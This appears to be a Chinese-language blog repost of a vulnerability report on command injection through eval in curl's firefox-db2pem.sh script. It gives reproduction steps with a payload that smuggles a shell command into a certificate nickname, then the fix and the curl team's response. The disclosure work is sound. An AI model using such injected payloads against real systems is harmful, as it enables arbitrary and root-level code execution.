curl脚本中的OS命令注入漏洞:firefox-db2pem.sh证书昵称风险分析

本文详细分析了curl项目中firefox-db2pem.sh脚本存在的OS命令注入漏洞。攻击者可通过恶意证书昵称在目标系统上执行任意命令,特别是在root权限运行时可能造成严重安全风险。文章包含漏洞复现步骤、影响分析和修复建议。

OS命令注入漏洞报告:curl脚本firefox-db2pem.sh中的不安全证书昵称处理

漏洞概述

在curl源代码的scripts/firefox-db2pem.sh辅助脚本中,存在一个OS命令注入漏洞。该脚本使用eval命令处理证书昵称,导致恶意昵称中的shell语法会被执行。

受影响版本

  • curl master分支(截至2025年6月26日,commit 2a9dfe2)
  • 该漏洞可能存在于所有历史版本中

技术细节

漏洞代码位置

1
eval certutil -d "$db" -L -n "$nickname" -a

由于eval会重新解析其参数,包含shell语法的恶意昵称(如$(whoami > pwned))将在主机上执行。

复现步骤

  1. 安装必要工具

    1
    
    sudo apt-get install -y libnss3-tools openssl
    
  2. 创建临时配置文件

    1
    2
    3
    4
    
    export HOME=$(mktemp -d)
    PROF="$HOME/.mozilla/firefox/safe.default"
    mkdir -p "$PROF"
    certutil -N --empty-password -d "$PROF"
    
  3. 生成自签名证书

    1
    2
    3
    
    openssl req -x509 -newkey rsa:2048 -nodes \
         -subj '/CN=RCE-Test/' -days 1 \
         -keyout "$HOME/key.pem" -out "$HOME/cert.pem"
    
  4. 使用恶意昵称导入证书

    1
    2
    
    payload='evil$(whoami > pwned)'
    certutil -A -d "$PROF" -n "$payload" -t "C,C,C" -i "$HOME/cert.pem"
    
  5. 验证昵称列表

    1
    
    certutil -L -h 'Builtin Object Token' -d "$PROF"
    
  6. 运行易受攻击的辅助脚本

    1
    
    bash -x scripts/firefox-db2pem.sh "$HOME/ca-bundle.pem" || true
    
  7. 查看证明文件

    1
    
    cat pwned
    

影响分析

攻击者如果能够将证书导入任何Firefox NSS数据库(如自己的配置文件),在运行scripts/firefox-db2pem.sh时可以实现任意代码执行。许多管理员以root权限运行此辅助程序来生成系统范围的CA捆绑包,因此此漏洞可在受影响系统上实现root级别的远程代码执行。

修复建议

问题代码

1
eval certutil -d "$db" -L -n "$nickname" -a

安全修复方案

移除eval并使用更安全的方法:

1
2
3
4
5
6
7
8
certutil -L -h 'Builtin Object Token' -d "$db" |
grep ' *[CcGTPpu]*,[CcGTPpu]*,[CcGTPpu]* *$' |
sed -e 's/ *[CcGTPpu]*,[CcGTPpu]*,[CcGTPpu]* *$//' |
sort |
while IFS= read -r nickname; do
  echo "$nickname" | sed -e "s/Builtin Object Token://g"
  certutil -d "$db" -L -n "$nickname" -a
done >> "$out"

项目方响应

curl团队认为这不是curl的安全漏洞,因为:

  1. 该脚本不是curl的组成部分,不会通过make install安装
  2. 这只是提供给觉得有用用户的一个小脚本
  3. 如果用户可以运行脚本,就可以注入任何内容

实际影响场景

尽管curl团队认为风险较小,但在以下实际场景中存在特权升级风险:

  • 下游构建管道(Fuchsia、Cmake的Docker构建、openSUSE OBS)
  • 以root权限针对非特权Firefox配置文件运行此脚本
  • 真实的CI和打包工作流中的本地特权升级

最终处理

  • 报告状态:Informative(信息性)
  • 严重性:High(7-8.9)
  • CVE ID:无
  • 赏金:无
  • 已提交修复:https://github.com/curl/curl/pull/17766
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计